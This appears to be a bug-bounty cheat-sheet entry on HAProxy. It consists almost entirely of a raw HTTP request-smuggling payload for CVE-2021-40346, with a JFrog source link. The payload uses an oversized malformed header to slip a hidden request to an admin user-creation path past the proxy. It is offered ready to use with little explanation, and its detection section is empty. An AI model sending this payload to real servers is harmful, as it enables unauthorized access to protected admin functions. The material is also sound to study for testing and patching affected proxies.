AllAboutBugBounty/Technologies/HAProxy.md

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# HAProxy Common Bugs
## Introduction
What would you do if you came across a website that uses HAProxy?
## How to Detect
`-`
1. CVE-2021-40346 (HTTP Request Smuggling)
```
POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz
```
Source:
- [JFrog](https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/)